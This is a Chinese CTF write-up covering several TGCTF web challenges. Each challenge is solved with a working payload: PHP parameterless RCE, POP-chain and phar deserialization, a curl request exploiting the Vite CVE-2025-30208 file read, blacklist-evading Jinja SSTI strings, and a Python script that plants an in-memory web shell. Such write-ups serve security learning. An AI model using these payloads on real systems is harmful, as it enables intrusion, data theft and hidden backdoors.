当前位置: 首页 > news >正文

TGCTF web

AAA偷渡阴平

这个题是一个非预期的无参RCE

<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__); 

这里只给了数字2,所有的字母,和一些符号 ,这里貌似是过滤了(),但是仔细看的话可以发现这里的括号其实是中文,也就是等于没有过滤。

先说下无参RCE的打法。

http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(getallheaders());

在这里插入图片描述

http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(next(getallheaders()));

这里通过next获得Pragma这个参数,这个参数是我们可以控制的。

在这里插入图片描述
这样在外边在套上一层eval就可以了

在这里插入图片描述

什么文件上传

在这里插入图片描述
开题一个文件上传点,尝试之后发无论上传什么内容都会报错,无法成功上传。

爆破一下路径发现robots.txt

在这里插入图片描述
这里重点看一下class.php

看到源代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    function best64_decode($str)
    {
        return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
    }
    class yesterday {
        public $learn;
        public $study="study";
        public $try;
        public function __construct()
        {
            $this->learn = "learn<br>";
        }
        public function __destruct()
        {
            echo "You studied hard yesterday.<br>";
            return $this->study->hard();
        }
    }
    class today {
        public $doing;
        public $did;
        public $done;
        public function __construct(){
            $this->did = "What you did makes you outstanding.<br>";
        }
        public function __call($arg1, $arg2)
        {
            $this->done = "And what you've done has given you a choice.<br>";
            echo $this->done;
            if(md5(md5($this->doing))==666){
                return $this->doing();
            }
            else{
                return $this->doing->better;
            }
        }
    }
    class tommoraw {
        public $good;
        public $bad;
        public $soso;
        public function __invoke(){
            $this->good="You'll be good tommoraw!<br>";
            echo $this->good;
        }
        public function __get($arg1){
            $this->bad="You'll be bad tommoraw!<br>";
        }

    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

        public function __set($arg1, $arg2) {
            if ($this->out->useful7) {
                echo "Seven is my lucky number<br>";
                system('whoami');
            }
        }
        public function __toString(){
            echo "This is your future.<br>";
            system($_POST["wow"]);
            return "win";
        }
        public function __destruct(){
            $this->no = "no";
            return $this->no;
        }
    }
    if (file_exists($_GET['filename'])){
        echo "Focus on the previous step!<br>";
    }
    else{
        $data=substr($_GET['filename'],0,-4);
        unserialize(best64_decode($data));
    }
    // You learn yesterday, you choose today, can you get to your future?
?> 

一个简单的pop链子,整体的利用是:

yesterday -> __destruct
today -> __call
tommoraw -> toString 之后触发危险函数

这里的一个点是md5()处理一个对象的时候,会首先调用这个对象的toString
但是这里要注意一下参数的处理,接收到参数之后,多次进行base64解码,然后截取到倒数第四个字符,所以我们构造poc的时候,要预先多次base64编码,然后拼接上4个多余的字符。

<?php  
  
function best64_encode($str)  
{  
    return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));  
}  
  
class future{  
  
}  
  
class today {  
    public $doing;  
    public function __construct() {  
        $this->doing = new future();  
    }  
}  
  
class yesterday {  
    public $learn;  
    public $study;  
    public $try;  
  
    public function __construct() {  
        $this->study = new today();  
    }  
}  
  
  
$a=new yesterday();  
echo best64_encode(serialize($a))."1234";

在这里插入图片描述

前端GAME

在这里插入图片描述
简单玩一下游戏,直接结束掉,发现提示要读取/tgflagggg下的flag
这里后边看了下js代码,发现只要分数高于17就会有这个提示,显然这个题的考点不在这个题目的分数上,然后考虑怎么读取flag,直接访问肯定是访问不到的,这时候看下题目的代码依赖。

在这里插入图片描述
发现了这里的vite想起这里是有一个任意文件读取的漏洞的,简单搜索一下得到CVE-2025-30208

参考文章

根据文章当中的

curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"

构造我们这个题的poc

curl "http://node2.tgctf.woooo.tech:30758/@fs/tgflagggg?import&raw??"

在这里插入图片描述

火眼辩魑魅

这个题,好像又是被我非掉了

还是找到了这里的robots.txt

在这里插入图片描述
这里每个php文件对应一个考察点,但是题目说只有一个洞是可行的,那么就挨个看一下

在这里插入图片描述
第一个文件上传,我当时做的时候,反正是没有任何权限,直接放弃这个点

在这里插入图片描述
这里直接给了源代码,并且直接eval考虑利用一下 。直接打是存在过滤的,应该是过滤掉了各种危险函数,但是这里可以拼接绕过一下。

shell=$a="syst"."em";$a('cat /tgfffffllllaagggggg');

在这里插入图片描述
之后找出题人聊了一下

在这里插入图片描述
发现是非预期,于是继续看下其他的点

在这里插入图片描述
预期解是这里的ssti,就不复现了

在这里插入图片描述
这个是反序列化的pop链,最后Sinkphp原生类,但是这里黑名单太多了,目测没法打。

直面天命

该说不说这个题属于有点套了

在这里插入图片描述
不懂是啥

在这里插入图片描述
源码当中发现/hint路由

在这里插入图片描述
这里没办法只能是多线程爆破一下,这里可以让GPT写个脚本,多线程还是很快的,这里找到了aazz

在这里插入图片描述
提示说这个页面可以传参数,这里有点谜语人,手动fuzz几个常见的参数最后发现是filename,并且这里存在任意文件读取的问题。

在这里插入图片描述
然后尝试读取源代码

http://node2.tgctf.woooo.tech:30666/aazz?filename=app.py

在这里插入图片描述

import os  
import string  
from flask import Flask, request, render_template_string, jsonify, send_from_directory  
from a.b.c.d.secret import secret_key  
  
app = Flask(__name__)  
  
black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']  
def waf(name):  
    for x in black_list:  
        if x in name.lower():  
            return True  
    return Falsedef is_typable(char):  
    # 定义可通过标准 QWERTY 键盘输入的字符集  
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace  
    return char in typable_chars  
  
@app.route('/')  
def home():  
    return send_from_directory('static', 'index.html')  
  
@app.route('/jingu', methods=['POST'])  
def greet():  
    template1=""  
    template2=""  
    name = request.form.get('name')  
    template = f'{name}'  
    if waf(name):  
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{  url_for("static", filename="3.jpeg") }}" alt="Image">'  
    else:  
        k=0  
        for i in name:  
            if is_typable(i):  
                continue  
            k=1  
            break  
        if k==1:  
            if not (secret_key[:2] in name and secret_key[2:]):  
                template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{  url_for("static", filename="4.jpeg") }}" alt="Image">'  
                return render_template_string(template)  
            template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"  
            template= template.replace("直面","{{").replace("天命","}}")  
            template = template  
    if "cat" in template:  
        template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{  url_for("static", filename="2.jpeg") }}" alt="Image">'  
    try:  
        return template1+render_template_string(template)+render_template_string(template2)  
    except Exception as e:  
        error_message = f"500报错了,查询语句如下:<br>{template}"  
        return error_message, 400  
  
@app.route('/hint', methods=['GET'])  
def hinter():  
    template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"  
    return render_template_string(template)  
  
@app.route('/aazz', methods=['GET'])  
def finder():  
    filename = request.args.get('filename', '')  
    if filename == "":  
        return send_from_directory('static', 'file.html')  
  
    if not filename.replace('_', '').isalnum():  
        content = jsonify({'error': '只允许字母和数字!'}), 400  
    if os.path.isfile(filename):  
        try:  
            with open(filename, 'r') as file:  
                content = file.read()  
            return content  
        except Exception as e:  
            return jsonify({'error': str(e)}), 500  
    else:  
        return jsonify({'error': '路径不存在或者路径非法'}), 404  
  
  
if __name__ == '__main__':  
    app.run(host='0.0.0.0', port=80)

在这里插入图片描述
重点在这个路由,但是这里过滤掉了{{}},但是后边的处理是替换成了直面天命,就是ssti的那些poc在这里把{{}}替换成直面天命就行,再次看下黑名单。

black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']

这些地方都是可以通过拼接实现绕过的,拿出珍藏的poc在这里改一下

直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("env")|attr("re"+"ad")()天命

这里poc应该是很多的,但是这里有这样的替换,无法直接使用fenjing进行。

直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("tac /f*")|attr("re"+"ad")()天命

在这里插入图片描述

熟悉的配方,熟悉的味道

from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
    '__builtins__': {},      # 禁用所有内置函数
    '__import__': None       # 禁止动态导入
}


def checkExpr(expr_input):
    expr = re.split(r"[-+*/]", expr_input)
    print(exec(expr_input))

    if len(expr) != 2:
        return 0
    try:
        int(expr[0])
        int(expr[1])
    except:
        return 0

    return 1


def home_view(request):
    expr_input = ""
    result = ""

    if request.method == 'POST':
        expr_input = request.POST['expr']
        if checkExpr(expr_input):
            try:
                result = eval(expr_input, eval_globals)
            except Exception as e:
                result = e
        else:
            result = "爬!"


    template_str = 【xxx】

    env = Environment(loader=BaseLoader())
    template = env.from_string(template_str)
    rendered = template.render(expr_input=expr_input, result=result)
    return Response(rendered)


if __name__ == '__main__':
    with Configurator() as config:
        config.add_route('home_view', '/')
        config.add_view(home_view, route_name='home_view')
        app = config.make_wsgi_app()

    server = make_server('0.0.0.0', 9040, app)
    server.serve_forever()

这里输入expr,会首先进到checkExpr这个方法当中,仔细看一下这里

def checkExpr(expr_input):
    expr = re.split(r"[-+*/]", expr_input)
    print(exec(expr_input))

    if len(expr) != 2:
        return 0
    try:
        int(expr[0])
        int(expr[1])
    except:
        return 0

    return 1

首先根据四则运算符进行分割,然后直接进行exec,所以这里存在命令执行,但是无法直接拿到回显,并且不出网,那么就是经典的内存马利用环节了。

参考文章

import requests  
code='''  
def waff():  
    def f():        yield g.gi_frame.f_back  
    g = f()    frame = next(g)       
    b = frame.f_back.f_back.f_globals  
    def hello(request):        code = request.POST['code']        res=eval(code)        return Response(res)  
    config.add_route('shellb', '/shellb')    config.add_view(hello, route_name='shellb')    config.commit()  
waff()  
'''  
  
url=""  
#url="http://127.0.0.1:9040/"  
data={  
    "expr":f"{code}+1"  
}  
  
r=requests.post(url=url,data=data)

借助这个脚本写入内存马,之后访问一下直接rce

在这里插入图片描述

TG_wordpress

最幽默的一题,没去打,根据描述找了下常见的CVE

TGCTF{CVE-2020-25213}

什么文件上传?(复仇

对之前的非预期做了修复

<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
    return base64_encode(md5(base64_encode(md5($str))));
    }
class yesterday {
    public $learn;
    public $study="study";
    public $try;
    public function __construct()
    {
        $this->learn = "learn<br>";
    }
    public function __destruct()
    {
        echo "You studied hard yesterday.<br>";
        return $this->study->hard();
    }
}
class today {
    public $doing;
    public $did;
    public $done;
    public function __construct(){
        $this->did = "What you did makes you outstanding.<br>";
    }
    public function __call($arg1, $arg2)
    {
        $this->done = "And what you've done has given you a choice.<br>";
        echo $this->done;
        if(md5(md5($this->doing))==666){
            return $this->doing();
        }
        else{
            return $this->doing->better;
        }
    }
}
class tommoraw {
    public $good;
    public $bad;
    public $soso;
    public function __invoke(){
        $this->good="You'll be good tommoraw!<br>";
        echo $this->good;
    }
    public function __get($arg1){
        $this->bad="You'll be bad tommoraw!<br>";
    }

}
class future{
    private $impossible="How can you get here?<br>";
    private $out;
    private $no;
    public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

    public function __set($arg1, $arg2) {
        if ($this->out->useful7) {
            echo "Seven is my lucky number<br>";
            system('whoami');
        }
    }
    public function __toString(){
        echo "This is your future.<br>";
        system($_POST["wow"]);
        return "win";
    }
    public function __destruct(){
        $this->no = "no";
        return $this->no;
    }
}
if (file_exists($_GET['filename'])){
    echo "Focus on the previous step!<br>";
}
else{
    $data=substr($_GET['filename'],0,-4);
    unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?> 

这里主要重写了best64_decode函数,导致我们无法控制这里的filename触发反序列化,但是根据file_exists和文件上传点,考虑phar反序列化。

现在的问题是,如何上传文件呢。

在这里插入图片描述
根据这里的提示,允许的后缀名是三个小写字母,还是需要进行爆破,这里爆出来的后缀是atg

<?php  
  
function best64_encode($str)  
{  
    return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));  
}  
  
class future{  
  
}  
  
class today {  
    public $doing;  
    public function __construct() {  
        $this->doing = new future();  
    }  
}  
  
class yesterday {  
    public $learn;  
    public $study;  
    public $try;  
  
    public function __construct() {  
        $this->study = new today();  
    }  
}  
  
  
$a=new yesterday();  
  
$phar = new Phar("phar.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub  
$phar->setMetadata($a); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
$phar->stopBuffering();

稍微修改下之前的poc,生成一个phar文件,然后上传,之后借助phar协议读取这个文件 触发反序列化。

在这里插入图片描述

AAA偷渡阴平(复仇)

<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

这里修复了这些无参rce可以利用的函数,这里卡了很久,最终找到

http://node2.tgctf.woooo.tech:31109/?tgctf2025=session_start();system(hex2bin(session_id());

在这里插入图片描述

天命复仇

这里把waf拿出来在本地搭建一下,然后丢到fenjing当中直接能跑出来

import requests
url="http://node1.tgctf.woooo.tech:31535/jingu"

poc="""天命((joiner["\\x5f\\x5f\\x69\\x6e\\x69\\x74\\x5f\\x5f"]["\\x5f\\x5f\\x67\\x6c\\x6f\\x62\\x61\\x6c\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x62\\x75\\x69\\x6c\\x74\\x69\\x6e\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x69\\x6d\\x70\\x6f\\x72\\x74\\x5f\\x5f"]('o''s'))['p''open']('cat /tg*'))['r''ead']()难违"""
data={
    "name": poc
}
r=requests.post(url=url,data=data)

print(r.text)

相关文章:

  • SQL刷题日志(day1)
  • 狂神SQL学习笔记二:安装MySQL
  • DeepSeek AI大模型:中国智能时代的“争气机“-AI生成
  • Python实例题:Python自动获取小说工具
  • 如何将一个8s的接口优化到500ms以下
  • 【Pandas】pandas DataFrame keys
  • 【Python浅拷贝与深拷贝详解】
  • 【QT】 常用控件【输入类】
  • 【Java学习笔记】注释
  • 第一章 计算机网络和因特网
  • 在 JMeter 中,Active Threads Over Time 是一个非常有用的监听器(Listener)
  • 虾分发平台平台优势
  • 【Linux】深入理解线程控制
  • 【智驾中的大模型 -2】VLM 在自动驾驶中的应用
  • 【MySQL 数据库】增删查改操作CRUD(下)
  • 凡泰极客亮相QCon2025鸿蒙专场,解析FinClip“技术+生态”双引擎
  • 【ubuntu】linux开机自启动
  • [250414] ArcoLinux 项目宣布逐步结束
  • 探索机器人创新技术基座,傅利叶开源人形机器人 Fourier N1
  • VS 中Git 中本地提交完成,没有推送,修改的内容如何还原
  • “乐购浦东”消费券明起发放,多个商家同期推出折扣促销活动
  • 邮储银行一季度净赚超252亿降逾2%,营收微降
  • 北大深圳研究生院成立科学智能学院:培养交叉复合型人才
  • 解读|特朗普“助攻”下加拿大自由党“惨胜”,卡尼仍需克服“特鲁多阴影”
  • 商务部新闻发言人就波音公司飞回拟交付飞机答记者问
  • 来伊份一季度净利减少近八成,今年集中精力帮助加盟商成功